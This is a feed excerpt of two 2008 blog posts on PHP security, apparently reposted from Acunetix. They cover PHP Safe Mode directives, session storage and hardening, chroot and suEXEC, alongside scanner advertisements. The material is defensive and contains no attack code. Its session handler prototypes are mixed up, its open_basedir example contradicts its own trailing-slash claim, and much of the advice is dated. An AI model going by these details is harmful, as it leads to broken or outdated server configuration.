In   order for the file operation to proceed, the user ID of the file owner, for the   file being operated on, must be the same as the user ID of the script owner, for   the script performing the file operation.&lt;/p&gt;&lt;p&gt;There are problems which may be encountered when this mechanism is turned on,   notably when attempting to work with files owned by different users, but in the   same document tree, and files which have been created at runtime by the script   (which will be owned by the owner of the web server process).&lt;/p&gt;&lt;p&gt;In order to work around these issues, a relaxed form of the file permission   checking is also provided by Safe Mode. Using the php.ini directive (or setting   in .htaccess or a virtual hosting section or directory section in httpd.conf)   below, it is possible to relax the user ID check to a group ID check. That is,   if the script has the same group ID as the file on which a file operation was   requested, the operation will succeed. If the script owners and the web server   are members of the same group, and all hosted files are owned by this group, the   file operations will succeed regardless of user ID.&lt;/p&gt;&lt;p&gt;safe_mode_gid = On&lt;/p&gt;&lt;p&gt;The user and group ID restrictions are not enforced for files which are   located within the PHP include directories, provided those directories are   specified in the safe_mode_include_dir directive. This means that you should   always specify the default PHP include directories in this directive in the   php.ini configuration file.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Restricting Access To Environment Variables&lt;/h3&gt;When PHP is   running in Safe Mode, it restricts access to environment variables based on two   php.ini directives. Directives are provided for allowing write access to certain   environment variables, and for restricting write access to certain environment   variables. Each is a comma-delimited list of affected environment variables.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Restrictions On Running External Processes&lt;/h3&gt;Restrictions   are also imposed on the execution of external processes (i.e. not PHP scripts).   Binaries in the specified safe directory may be executed (See the Configuration   Directives) section. exec(), system(), popen() and passthru()are affected by   these settings. shell_exec() and the backtick operator do not work at all when   Safe Mode has been enabled.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Other Imposed Restrictions&lt;/h3&gt;Several functions are   restricted in Safe Mode. Some of the most important of these are listed later.   Furthermore, the PHP_AUTH_USER, PHP_AUTH_PW and AUTH_TYPE variables are not made   available in Safe Mode.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Safe Mode Configuration Directives&lt;/h3&gt;The following   directives control the Safe Mode settings. These should be set in php.ini. Some   may also be set (or overridden) in the httpd.conf file.&lt;/p&gt;&lt;p&gt;safe_mode = boolean&lt;/p&gt;&lt;p&gt;This directive enables PHP Safe Mode. The recommended strategy for   configuring a shared hosting environment to use Safe Mode is to enable Safe Mode   globally, in php.ini, and configure sensible default values here. Specific   overriding values can then be made in httpd.conf for each host, location, or   directory.&lt;/p&gt;&lt;p&gt;safe_mode_gid = boolean&lt;/p&gt;&lt;p&gt;This directive causes PHP to relax the user ID equality check between scripts   and the files on which they operate to a group ID check. The reasons why this   directive may be useful were explained in detail above.&lt;/p&gt;&lt;p&gt;safe_mode_include_dir = string&lt;/p&gt;&lt;p&gt;The user and group ID restrictions are ignored for files included from this   directory and its subdirectories. The directory must be listed in the   include_path directory, or a full path name given for include statements. The   value of this directive may be a colon-separated list of directories for which   inclusion is allowed without user or group ID checking being performed.&lt;/p&gt;&lt;p&gt;Note that this restriction acts as a directory prefix, rather than a complete   directory name. As such, a value of /home/wwwroot/inc allows files within   /home/wwwroot/inc, /home/wwwroot/incl, /home/wwwroot/include and   /home/wwwroot/incriminating_evidence to be included without restriction. If in   doubt, always end the directory path with a trailing / to prevent it being   interpreted as a prefix such as those listed above.&lt;/p&gt;&lt;p&gt;safe_mode_exec_dir = string&lt;/p&gt;&lt;p&gt;This directive specifies the path under which executables may be run in Safe   Mode. This restriction affects system(), exec(), popen() and passthru(). The   directory separator must always be a /, even on a Windows server.&lt;/p&gt;&lt;p&gt;safe_mode_allowed_env_vars = string&lt;/p&gt;&lt;p&gt;This directive specifies prefixes for environment variables which may be   altered by a script running in Safe Mode. The default action is to allow users   to edit environment variables beginning with PHP_ (i.e. have a prefix of PHP_).   If this directive is left empty, a script running under safe mode will be able   to modify any environment variable.&lt;/p&gt;&lt;p&gt;safe_mode_protected_env_vars = string&lt;/p&gt;&lt;p&gt;Similarly to above, this directive allows you to specify environment   variables which may not be edited by the script. Even if   safe_mode_allowed_env_vars also includes an environment variable listed here,   PHP will prevent a script changing that environment variable.&lt;/p&gt;&lt;p&gt;open_basedir = string&lt;/p&gt;&lt;p&gt;The open_basedir directive has been covered already in this series. It   restricts all file operations to the specified directory tree. This directive   works outside of Safe Mode also. The list of directories for which file access   is allowed must be separated by a semicolon on Windows, or by a colon on all   other systems.&lt;/p&gt;&lt;p&gt;disable_functions = string&lt;/p&gt;&lt;p&gt;This directive lists functions to disallow. A comma-delimited list of   function names is used. Like open_basedir, this directive does not require that   Safe Mode has been enabled.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Functions Restricted By Safe Mode&lt;/h3&gt;There is a full list of   functions for which Safe Mode imposes certain restrictions at &lt;A target="_blank" href="http://www.php.net/manual/en/features.safe-mode.functions.php"&gt;http://www.php.net/manual/en/features.safe-mode.functions.php&lt;/A&gt;&lt;/p&gt;&lt;p&gt;Below, I list some of the most important limitations.&lt;/p&gt;&lt;p&gt;putenv()&lt;/p&gt;&lt;p&gt;putenv() takes into account the safe_mode_allowed_env_vars and   safe_mode_protected_env_vars directives mentioned above.&lt;/p&gt;&lt;p&gt;move_uploaded_file()&lt;/p&gt;&lt;p&gt;Moving uploaded files is subject to the same User ID or Group ID checking   imposed on all file operations under Safe Mode. The file being moved must have   the same user ID or group ID (if relaxed group restrictions are enabled) as the   script moving it. Generally, the file will be created with the user ID of the   web server process, and as such the relaxed restrictions are likely to be   required in order to move uploaded files.&lt;/p&gt;&lt;p&gt;chdir() mkdir() rmdir()&lt;/p&gt;&lt;p&gt;Changing the current working directory of the script depends on the   requirements imposed by user and group ID restrictions and by open_basedir.   Similar restrictions are imposed for mkdir() and rmdir().&lt;/p&gt;&lt;p&gt;mail()&lt;/p&gt;&lt;p&gt;The additional parameters (fifth argument) have no effect when running under   Safe Mode, since these would allow arbitrary options to be passed to the mailer   program.&lt;/p&gt;&lt;p&gt;set_time_limit()&lt;/p&gt;&lt;p&gt;Setting an execution time limit within a script is ignored when the script is   running under Safe Mode.&lt;/p&gt;&lt;p&gt;dl()&lt;/p&gt;&lt;p&gt;Dynamically loading PHP extensions is disabled when running in Safe Mode.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Overriding Safe Mode Settings&lt;/h3&gt;As I said above, it is   recommended to set default settings which will never cause security problems in   php.ini, and enable Safe Mode there. Per-virtual-host or per-directory settings   for values such as open_basedir, safe_mode_exec_dir, and safe_mode_include_dir   may be specified within httpd.conf using the php_admin_value and php_admin_flag   directives.&lt;/p&gt;&lt;p&gt;Consider the following example, which is a (slightly modified) section of an   httpd.conf from a live web server I run.&lt;/p&gt;&lt;p&gt;ServerAdmin andrew@somehost.com&lt;/p&gt;&lt;p&gt;DocumentRoot /home/wwwroot/andrew/&lt;/p&gt;&lt;p&gt;ServerName andrew.somehost.com&lt;/p&gt;&lt;p&gt;php_admin_value open_basedir "/home/wwwroot/andrew"&lt;/p&gt;&lt;p&gt;php_admin_value open_basedir   "/home/wwwroot/:/home/photos/:/usr/local/&lt;/p&gt;&lt;p&gt;lib/php/"&lt;/p&gt;&lt;p&gt;php_admin_flag safe_mode off&lt;/p&gt;&lt;p&gt;Here, within the Apache VirtualHost directive, an open_basedir value has been   set for the entire virtual host, and overridden for a specific location which   requires access to other directories. Safe Mode has been turned off for this   location also, again because the gallery software installed there requires   functionality which is disabled by Safe Mode.&lt;/p&gt;&lt;p&gt;As you can now clearly see, it is possible to set PHP configuration   information on a per-host, per-directory or per-location basis within the   httpd.conf file. You will notice also that the open_basedir directories all end   with a trailing / so as to prevent them being interpreted as directory   prefixes.&lt;/p&gt;&lt;h3&gt;How to check for PHP vulnerabilities&lt;A target="_blank" href="../cross-site-scripting/Copy-scanner.htm"&gt;scanner&lt;/A&gt;&lt;/h3&gt;The best   way to check whether your web site &amp;amp; applications are vulnerable to PHP   security attacks is by using a Web Vulnerability Scanner. A Web Vulnerability   Scanner crawls your entire website and automatically checks for vulnerabilities   to PHP attacks. It will indicate which scripts are vulnerable so that you can   fix the vulnerability easily. Besides PHP security vulnerabilities, a web   application scanner will also check for SQL injection, Cross site scripting   &amp;amp; other web vulnerabilities.&lt;p&gt;The &lt;A target="_blank" href="http://www.acunetix.com/vulnerability-scanner/"&gt;Acunetix Web   Vulnerability Scanner&lt;/A&gt; scans for &lt;A target="_blank" href="sql-injection.htm"&gt;SQL   injection&lt;/A&gt;, &lt;A target="_blank" href="../cross-site-scripting/Copy-scanner.htm"&gt;Cross site   scripting&lt;/A&gt;, &lt;A target="_blank" href="google-hacking.htm"&gt;Google hacking&lt;/A&gt; and many more   vulnerabilities. &lt;A target="_blank" href="http://www.acunetix.com/vulnerability-scanner/"&gt;For   more information&lt;/A&gt; &amp;amp; a &lt;A target="_blank" href="../vulnerability-scanner/download.htm"&gt;trial download click here&lt;/A&gt;.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Check if your website is vulnerable to attack with Acunetix Web   Vulnerability Scanner&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;Acunetix Web Vulnerability Scanner ensures website security by automatically   checking for &lt;A target="_blank" href="../vulnerability-scanner/sql-injection.htm"&gt;SQL   injection&lt;/A&gt;, &lt;A target="_blank" href="cross-site-scripting.htm"&gt;Cross site scripting&lt;/A&gt; and   other vulnerabilities. It checks password strength on authentication pages and   automatically audits shopping carts, forms, dynamic content and other web   applications. As the scan is being completed, the software produces detailed   reports that pinpoint where vulnerabilities exist. Take a &lt;A target="_blank" href="../vulnerability-scanner/features.htm"&gt;product tour&lt;/A&gt; or &lt;A target="_blank" href="../vulnerability-scanner/download.htm"&gt;download&lt;/A&gt; the evaluation version   today!&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Scanning for XSS vulnerabilities with Acunetix WVS Free   Edition!&lt;/h3&gt;To check whether your website has cross site scripting   vulnerabilities, download the Free Edition from &lt;A target="_blank" href="http://www.acunetix.com/cross-site-scripting/scanner.htm"&gt;http://www.acunetix.com/cross-site-scripting/scanner.htm&lt;/A&gt;.   This version will scan any website / web application for &lt;A target="_blank" href="xss.htm"&gt;XSS&lt;/A&gt; vulnerabilities and it will also reveal all the essential   information related to it, such as the vulnerability location and remediation   techniques. Scanning for XSS is normally a quick exercise (depending on the size   of the web-site).&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Later in the series&lt;/h3&gt;In the sixth, and final, part of this   series on PHP and SQL security, we look at session management, maintaining   persistent data across multiple HTTP requests and site visits, and the security   issues surrounding the way PHP manages such persistence.&lt;/p&gt;&lt;p&gt;We will also close with a brief look at server security, and introduce two   mechanisms for improving the security guarantees of a multi-user server, over   and above the protection provided by the PHP Safe Mode; covering both additional   security modules for Apache and using a reverse-proxy with multiple instances of   Apache.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Source: &lt;A target="_blank" href="http://www.acunetix.com/websitesecurity/"&gt;Website security&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-9131250077102217012?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/9131250077102217012/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=9131250077102217012' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/9131250077102217012'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/9131250077102217012'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/06/php-sql-security-part-5.html' title='PHP / SQL Security - Part 5'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-2155865616189004834</id><published>2008-06-05T12:35:00.002+05:30</published><updated>2008-06-05T14:28:13.437+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP / SQL Security'/><title type='text'>PHP / SQL Security - Part 6</title><content type='html'>&lt;h6&gt;Looking back...&lt;/h6&gt;In this series, I started with techniques   for securing user input, then extended those techniques to applications where   database input and output is required, looking at some SQL security issues. I   then moved on to deal with file operations and file uploads, looking   specifically at the security issues involved with accessing files based on some   user supplied filename, and user-supplied files (uploaded files). In part 5, I   discussed the PHP Safe Mode in some detail.&lt;/p&gt;&lt;p&gt;In this sixth, and final, part of the series, I will cover session   management, and conclude with a brief look at security modules for Apache, and   multiple server instances.&lt;/p&gt;&lt;h3&gt;What Are Sessions?&lt;/h3&gt;Sessions are a PHP construct allowing   persistent data to be retained across HTTP connections. In English, sessions   allow you to store the values of certain variables across page visits. This is   achieved by serializing the data (converting it to some binary representation)   and writing it out to a file (or a database, or wherever you tell it), when a   page is finished processing in PHP. When the next page (or that same page some   time later) is processed, and PHP is told to start a session, it will check if   the user already has a session, and read their data back in, unserializing it   and assigning the variables. This allows you to keep track of a user across   multiple visits, or while browsing multiple pages on your site.&lt;/p&gt;&lt;p&gt;For example, you can create a shopping cart using sessions, storing an array   of items added to the cart in a session variable, and loading it on every page.   When the user clicks 'Add to cart' you can add the item to the array, and it   will be saved for the next page the user goes to. The whole array can be fetched   on your checkout page and appropriate processing will take place.&lt;/p&gt;&lt;h3&gt;How Do Sessions Work?&lt;/h3&gt;As many probably know, HTTP is a   stateless protocol. By stateless, I mean that any HTTP connection is unaware of   previous connections made by the same client, to the same server (persistent   connections excepting). There are two useful ways in which PHP can pass   identification information between pages in order to uniquely associate a user   with a session.&lt;/p&gt;&lt;p&gt;PHP can use cookies to store a session ID. The cookie value is sent on every   request, so PHP can match that up to its session data and retrieve the correct   set of variables for that user. Another way is to pass the session ID in URLs.   In order to do this, URL rewriting must be enabled.&lt;/p&gt;&lt;p&gt;Passing session data in URLs is not recommended since it is possible to pass   your session onto another user if you give them a link which contains your   session ID, and the session ID data is more easily attackable than in a cookie.   URL-based session tracking should be used only where cookies cannot.&lt;/p&gt;&lt;h3&gt;Using $_SESSION&lt;/h3&gt;PHP provides a super-global variable   named $_SESSION. By super-global I mean it is a global variable which you may   access without going via $_GLOBALS or stating global $_SESSION within a   function. In this way, it behaves like $_GET and $_POST.&lt;/p&gt;&lt;p&gt;$_SESSION is, in fact, an associative array. The keys are variable names, and   the values are the stored session data for that variable name.&lt;/p&gt;&lt;p&gt;Using $_SESSION is preferred over the use of session_register() to register   ordinary global variables as session variables, especially when register_globals   is enabled, since global variables may be more easily changed inadvertently than   the contents of $_SESSION. It is still possible to alias ordinary global   variables to their equivalents within $_SESSION,&lt;/p&gt;&lt;p&gt;$username = &amp;amp;$_SESSION["username"];&lt;/p&gt;&lt;p&gt;Here, the &amp;amp; indicates a reference, or alias. It is then possible to use   $username instead of $_SESSION["username"], but note that $username is an   ordinary variable, and you will have to access as $_GLOBALS["username"] or   global $username from within a function.&lt;/p&gt;&lt;h3&gt;Trusting Session Data&lt;/h3&gt;Since a session ID can be spoofed,   it is always wise to perform some extra validation where possible. The simplest   mechanism would be to store the IP address of the client to whom the session ID   was issued, and compare the client IP against that stored IP every session. This   will prevent the basic security problems associated with passing links between   computers (though not if the computers are on a private network and share a   single public IP address).&lt;/p&gt;&lt;p&gt;Session data is also stored in files on the server. The default location is   /tmp on UNIX, or the system temporary file directory on Windows. If /tmp is   world-writable (or, in some cases, world-readable), or there are multiple   websites hosted on a single server, storing session data in a public location is   not secure. PHP provides a way to change the way session data is stored.&lt;/p&gt;&lt;h3&gt;Changing The Session File Path&lt;/h3&gt;The location in which PHP   saves session data can be set using the php.ini directive session.save_path, or   the string below in httpd.conf or a virtual host configuration.&lt;/p&gt;&lt;p&gt;php_value session.save_path "/home/andrew/sessions/"&lt;/p&gt;&lt;p&gt;It is important to ensure that your session data path is included in the   paths allowed by open_basedir, if you have open_basedir settings or PHP Safe   Mode enabled.&lt;/p&gt;&lt;p&gt;The data representation used for saving session data to files can be   controlled with the session.serialize_handler directive in php.ini. By default,   PHP uses its own built in format, but the WDDX ( http://www.wddx.org ) format   can be used also. Set the type using one of the lines below.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;(in php.ini ...)  &lt;/strong&gt;&lt;/p&gt;&lt;BLOCKQUOTE dir="ltr"&gt;&lt;p&gt;session.serialize_handler wddx&lt;/p&gt;&lt;/BLOCKQUOTE&gt;&lt;p&gt;&lt;strong&gt;or  &lt;/strong&gt;&lt;/p&gt;&lt;BLOCKQUOTE dir="ltr"&gt;&lt;p&gt;session.serialize_handler php&lt;/p&gt;&lt;/BLOCKQUOTE&gt;&lt;p&gt;&lt;strong&gt;(or in httpd.conf ...)  &lt;/strong&gt;&lt;/p&gt;&lt;BLOCKQUOTE dir="ltr"&gt;&lt;p&gt;php_value session.serialize_handler wddx&lt;/p&gt;&lt;/BLOCKQUOTE&gt;&lt;p&gt;&lt;strong&gt;or  &lt;/strong&gt;&lt;/p&gt;&lt;BLOCKQUOTE dir="ltr"&gt;&lt;p&gt;php_value session.serialize_handler php&lt;/p&gt;&lt;/BLOCKQUOTE&gt;&lt;h3&gt;Storing Session Data In A Database&lt;/h3&gt;When you use on-disk   files to store session data, those files must be readable and writeable by PHP.   On a multi-user hosting system, it is possible for other users to access your   session data through the PHP process (but see the commentary on open_basedir in   part 5 of this series. The best way to secure your session data is to store it   in a database.&lt;/p&gt;&lt;p&gt;Unfortunately, there is no direct way to store session data in a database   using the php.ini directives, but luckily PHP provides a mechanism for   customised session storage handlers. The function session_set_save_handler()   allows you to register handler functions for session management. These functions   must be written in PHP (or made available as a PHP extension).&lt;/p&gt;&lt;p&gt;session_set_save_handler(open_fn, close_fn, read_fn,   write_fn,&lt;/p&gt;&lt;p&gt;destroy_fn, gc_fn)&lt;/p&gt;&lt;p&gt;To use these user-supplied session storage handlers, you must set   session.save_handler to the value user, and the value of session.save_path   should be the name of the database into which you're saving session data (so   that the session save handler functions you define can locate and use that   database). The value of session.name can be used as the name of the table within   the database.&lt;/p&gt;&lt;h3&gt;(httpd.conf)&lt;/h3&gt; &lt;/p&gt;&amp;lt;Location "/"&amp;gt; &lt;BLOCKQUOTE dir="ltr"&gt;  &lt;p&gt;php_value session.save_handler user &lt;/p&gt;  &lt;p&gt;php_value session.save_path dbname &lt;/p&gt;  &lt;p&gt;php_value session.name session_data &lt;/p&gt;&lt;/BLOCKQUOTE&gt;&lt;p&gt;&amp;lt;/Location&amp;gt; &lt;/p&gt;&lt;p&gt;Next, a table for storing session data must exist in the database. At the   minimum, your session handler should keep track of the session ID, the   expiration time, and the serialized session data. The SQL below creates a simple   table for storing this data.&lt;/p&gt;&lt;p&gt;CREATE TABLE session_data (&lt;/p&gt;&lt;BLOCKQUOTE dir="ltr"&gt;  &lt;p&gt;sessionid text not null PRIMARY KEY,&lt;/p&gt;  &lt;p&gt;expiration timestamp,&lt;/p&gt;  &lt;p&gt;sessiondata text not null&lt;/p&gt;&lt;/BLOCKQUOTE&gt;&lt;p&gt;);&lt;/p&gt;&lt;p&gt;The final task is to create the functions which manage this session store,   and register them with session_set_save_handler(). The open_fn must open the   database connection, the close_fn must close it and perform any associated   cleanup tasks, and the read_fn and write_fn functions must read and write   session data respectively. destroy_fn is called when a session ends and is   destroyed, and gc_fn is called when session data is garbage collected. These   operations must be mapped into database queries by your PHP code. The prototypes   for the functions are given below, and parameters passed are explained.&lt;/p&gt;&lt;p&gt;function open_fn($save_path, $session_name)&lt;/p&gt;&lt;BLOCKQUOTE dir="ltr"&gt;  &lt;p&gt;&lt;strong&gt;$save_path is the value of session.save_path,   $session_name is the value of session.name&lt;/strong&gt;&lt;/p&gt;&lt;/BLOCKQUOTE&gt;&lt;p&gt;function close_fn()&lt;/p&gt;&lt;BLOCKQUOTE dir="ltr"&gt;  &lt;p&gt;&lt;strong&gt;Takes no arguments&lt;/strong&gt;&lt;/p&gt;&lt;/BLOCKQUOTE&gt;&lt;p&gt;function read_fn($session_id, $data)&lt;/p&gt;&lt;BLOCKQUOTE dir="ltr"&gt;  &lt;p&gt;&lt;strong&gt;$session_id is the session ID for which PHP requests the   associated session data to be returned&lt;/strong&gt;&lt;/p&gt;&lt;/BLOCKQUOTE&gt;&lt;p&gt;function write_fn($session_id)&lt;/p&gt;&lt;BLOCKQUOTE dir="ltr"&gt;  &lt;p&gt;&lt;strong&gt;$session_id is the session ID for which PHP requests   that $data be associated with in the session store   (database)&lt;/strong&gt;&lt;/p&gt;&lt;/BLOCKQUOTE&gt;&lt;p&gt;function destroy_fn($session_id)&lt;/p&gt;&lt;BLOCKQUOTE dir="ltr"&gt;  &lt;p&gt;&lt;strong&gt;$session_id is the ID of a session which may be removed   from the store&lt;/strong&gt;&lt;/p&gt;&lt;/BLOCKQUOTE&gt;&lt;p&gt;function gc_fn($max_time)&lt;/p&gt;&lt;BLOCKQUOTE dir="ltr"&gt;  &lt;p&gt;&lt;strong&gt;$max_time is the oldest last modified time to retain in   the session store. Sessions with an older modified time than this are to be   removed from the store.&lt;/strong&gt;&lt;/p&gt;&lt;/BLOCKQUOTE&gt;&lt;p&gt;Implementing the above functions, you are not limited simply to database   connections. You could, for instance, connect to some other data storage   application, or store the session data in an encrypted virtual filesystem, or on   a network file server.&lt;/p&gt;&lt;h3&gt;Further Securing Sessions&lt;/h3&gt;There are a few remaining PHP   directives for controlling sessions, several of these have security   implications. Firstly, the session name (set with session.name) should be   changed from the default to avoid collisions, especially on servers with   multiple users.&lt;/p&gt;&lt;p&gt;The session.cookie_path directive determines the default cookie path, the   path for which cookies will be sent in an HTTP request. If you have a forum at   somedomain.com/forum, and somedomain.com/ does not require session management,   you can change session.cookie_path as shown below.&lt;/p&gt;&lt;p&gt;&amp;lt;Location "/forum"&amp;gt; &lt;/p&gt;&lt;BLOCKQUOTE dir="ltr"&gt;  &lt;p&gt;php_value session.cookie_path /forum/ &lt;/p&gt;&lt;/BLOCKQUOTE&gt;&lt;p&gt;&amp;lt;/Location&amp;gt;&lt;/p&gt;&lt;p&gt;This prevents sections of your site which do not require the session cookie   from being sent it, and limits exposure of the session IDs to those parts of a   site where sessions are actually being used. This is especially important if   some sections of your site have pages provided by other users, who could use   those pages to steal session IDs from your visitors.&lt;/p&gt;&lt;p&gt;Setting session.use_only_cookies to true disables the passing of session IDs   in URLs, at the cost of losing sessions support for users with cookies disabled,   or on browsers not supporting cookies. Setting session.cookie_domain to the most   restrictive domain name possible (e.g. forum.somesite.com instead of   somesite.com) also helps to minimise exposure of session IDs. Of course, if you   have a single login for an entire range of subdomains, you will have to set the   domain as somedomain.com to ensure that the sessions are correctly managed   across all of the subdomains.&lt;/p&gt;&lt;p&gt;Finally, it is possible to set the hash function used when creating session   IDs. The default is to use MD5 (hash function 0), but SHA1 may also be used   (hash function 1). SHA1 is a 160-bit hash function, whereas MD5 is only a   128-bit hash function, so using SHA1 for session hashes improves security   slightly over using MD5. You can set the hash function using This setting was   introduced in PHP 5.&lt;/p&gt;&lt;p&gt;php_value session.hash_function 1&lt;/p&gt;&lt;h3&gt;Beyond PHP Security&lt;/h3&gt;Everything I've covered so far has   been directly related to PHP and SQL security. The best situation we can manage   here is PHP Safe Mode, which uses self-imposed restrictions to improve security.   That this is the best we can achieve is due to the server architecture currently   in use. There are, however, a few options for taking security a little further,   and imposing the restrictions at a lower level than PHP itself. To conclude this   series, I'll mention some of these briefly here.&lt;h3&gt;Chroot&lt;/h3&gt;Chroot changes the "root" directory that a process   can see. This effectively locks it into a certain directory structure within the   overall filesystem. With this approach, you can lock a web server into some   directory such as /home/www and it will not be able to access anything outside   of that structure.&lt;/p&gt;&lt;p&gt;There are several advantages to doing this. The first is that the web server,   PHP, any user scripts, and also any attackers, will be contained within this   chroot "jail", unable to access files outside of it. Furthermore, you can remove   all but the most essential software from the chroot environment. Removing any   shells from the environment prevents a large number of exploits which attempt to   invoke a remote shell. The minimal environment inside a chroot makes life very   difficult for attackers, no matter whether their method of attack is through a   vulnerability in your PHP code, or a vulnerability in the underlying web   server.&lt;/p&gt;&lt;h3&gt;Apache mod_security and mod_chroot&lt;/h3&gt;mod_security and   mod_chroot are extension modules specifically for the Apache web server. These   two modules provide chroot support for Apache without externally applying a   chroot technique. mod_security also provides several other security features.   Further information is available at http://www.modsecurity.org/ for mod_security   and at http://core.segfault.pl/~hobbit/mod_chroot/ for mod_chroot.&lt;h3&gt;suEXEC and Multiple Server Instances&lt;/h3&gt;Using a chroot to   lock your web server into a restricted environment helps to prevent some   security problems, but one of the big issues is shared hosting. Running multiple   websites on the same server requires that the web server process has access to   each user's files. If the web server has access, so do the other users (subject   to PHP Safe Mode restrictions, of course). There are two ways around this, one   which is Apache specific, and one which may be deployed on any server   environment.&lt;/p&gt;&lt;p&gt;suEXEC, specific to Apache, switches an Apache process to be owned by the   same user as the script it is executing, losing any escalated permissions. This   locks that Apache instance into the permissions held by that user, rather than   the permissions held by the master web server process itself. This mechanism   allows a return to the more traditional permissions system, and each user can be   reasonably sure his or her files are protected. The cost of this is that an   Apache process may not then be promoted back to regain permissions and switch   user again to serve a different user's files. This system works best when there   will be many requests for pages owned by the same user. suEXEC is explained in   more detail at &lt;A target="_blank" href="http://httpd.apache.org/docs/1.3/suexec.html"&gt;http://httpd.apache.org/docs/1.3/suexec.html&lt;/A&gt;&lt;/p&gt;&lt;p&gt;The alternative is to use multiple instances of the web server, each one   running with the permissions of a different user. Each server then only has the   permissions it needs to serve a single website, so a reverse proxy must be used   as a front to all of these server instances, redirecting requests for a   virtually hosted website to the Apache instance responsible for actually serving   that site. This solution is the most secure, but also the most resource-hungry.   Information about using Apache as a reverse proxy is available at &lt;A target="_blank" href="http://httpd.apache.org/docs/1.3/mod/mod_proxy.html"&gt;http://httpd.apache.org/docs/1.3/mod/mod_proxy.html&lt;/A&gt;&lt;/p&gt;&lt;h3&gt;How to check for PHP vulnerabilities&lt;/h3&gt;The best way to   check whether your web site &amp;amp; applications are vulnerable to PHP security   attacks is by using a Web Vulnerability Scanner. A Web Vulnerability Scanner   crawls your entire website and automatically checks for vulnerabilities to PHP   attacks. It will indicate which scripts are vulnerable so that you can fix the   vulnerability easily. Besides PHP security vulnerabilities, a web application   scanner will also check for SQL injection, Cross site scripting &amp;amp; other web   vulnerabilities. &lt;/p&gt;&lt;p&gt;The &lt;A target="_blank" href="http://www.acunetix.com/vulnerability-scanner/"&gt;Acunetix Web   Vulnerability Scanner&lt;/A&gt; scans for &lt;A target="_blank" href="sql-injection.htm"&gt;SQL   injection&lt;/A&gt;, &lt;A target="_blank" href="xss.htm"&gt;Cross site scripting (XSS)&lt;/A&gt;, &lt;A target="_blank" href="google-hacking.htm"&gt;Google hacking&lt;/A&gt; and many more vulnerabilities. &lt;A target="_blank" href="http://www.acunetix.com/vulnerability-scanner/"&gt;For more information&lt;/A&gt; &amp;amp; a &lt;A target="_blank" href="../vulnerability-scanner/download.htm"&gt;trial download click   here&lt;/A&gt;.&lt;/p&gt;&lt;h3&gt;Check if your website is vulnerable to attack with Acunetix Web   Vulnerability Scanner&lt;/h3&gt;&lt;p&gt;Acunetix Web Vulnerability Scanner ensures website security by automatically   checking for &lt;A target="_blank" href="../vulnerability-scanner/sql-injection.htm"&gt;SQL   injection&lt;/A&gt;, &lt;A target="_blank" href="../cross-site-scripting/Copy-scanner.htm"&gt;Cross site   scripting&lt;/A&gt; and other vulnerabilities. It checks password strength on   authentication pages and automatically audits shopping carts, forms, dynamic   content and other web applications. As the scan is being completed, the software   produces detailed reports that pinpoint where vulnerabilities exist. Take a &lt;A target="_blank" href="../vulnerability-scanner/features.htm"&gt;product tour&lt;/A&gt; or &lt;A target="_blank" href="../vulnerability-scanner/download.htm"&gt;download&lt;/A&gt; the evaluation version   today!&lt;/p&gt;&lt;h3&gt;Scanning for XSS vulnerabilities with Acunetix WVS Free   Edition!&lt;/h3&gt;To check whether your website has cross site scripting   vulnerabilities, download the Free Edition from &lt;A target="_blank" href="http://www.acunetix.com/cross-site-scripting/scanner.htm"&gt;http://www.acunetix.com/cross-site-scripting/scanner.htm&lt;/A&gt;.   This version will scan any website / web application for &lt;A target="_blank" href="xss.htm"&gt;XSS&lt;/A&gt; vulnerabilities and it will also reveal all the essential   information related to it, such as the vulnerability location and remediation   techniques. Scanning for XSS is normally a quick exercise (depending on the size   of the web-site).&lt;h3&gt;Final Words&lt;/h3&gt;This concludes the tour of PHP and SQL   security. There is much more information available on the web about each   security issue covered in this series, and many other issues also. In   particular, several Apache modules exist for improving security through   chrooting, reverse proxies, or simply checking requests for attacks such as   directory traversal.&lt;/p&gt;&lt;p&gt;The PHP manual over at php.net points out any security concerns relating to   most functions, and the comments posted by users below the reference pages often   contain useful security hints and code samples.&lt;/p&gt;&lt;p&gt;I will leave you with this thought:&lt;/p&gt;&lt;p&gt;&lt;EM&gt;The key to good security is not to add it as an afterthought, but to plan   your system with security in mind from the beginning.&lt;/EM&gt;&lt;/p&gt;&lt;p&gt;Source: &lt;A target="_blank" href="http://www.acunetix.com/websitesecurity/"&gt;Website security&lt;/A&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-2155865616189004834?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/2155865616189004834/comments/default' title='Post Comments'/><link 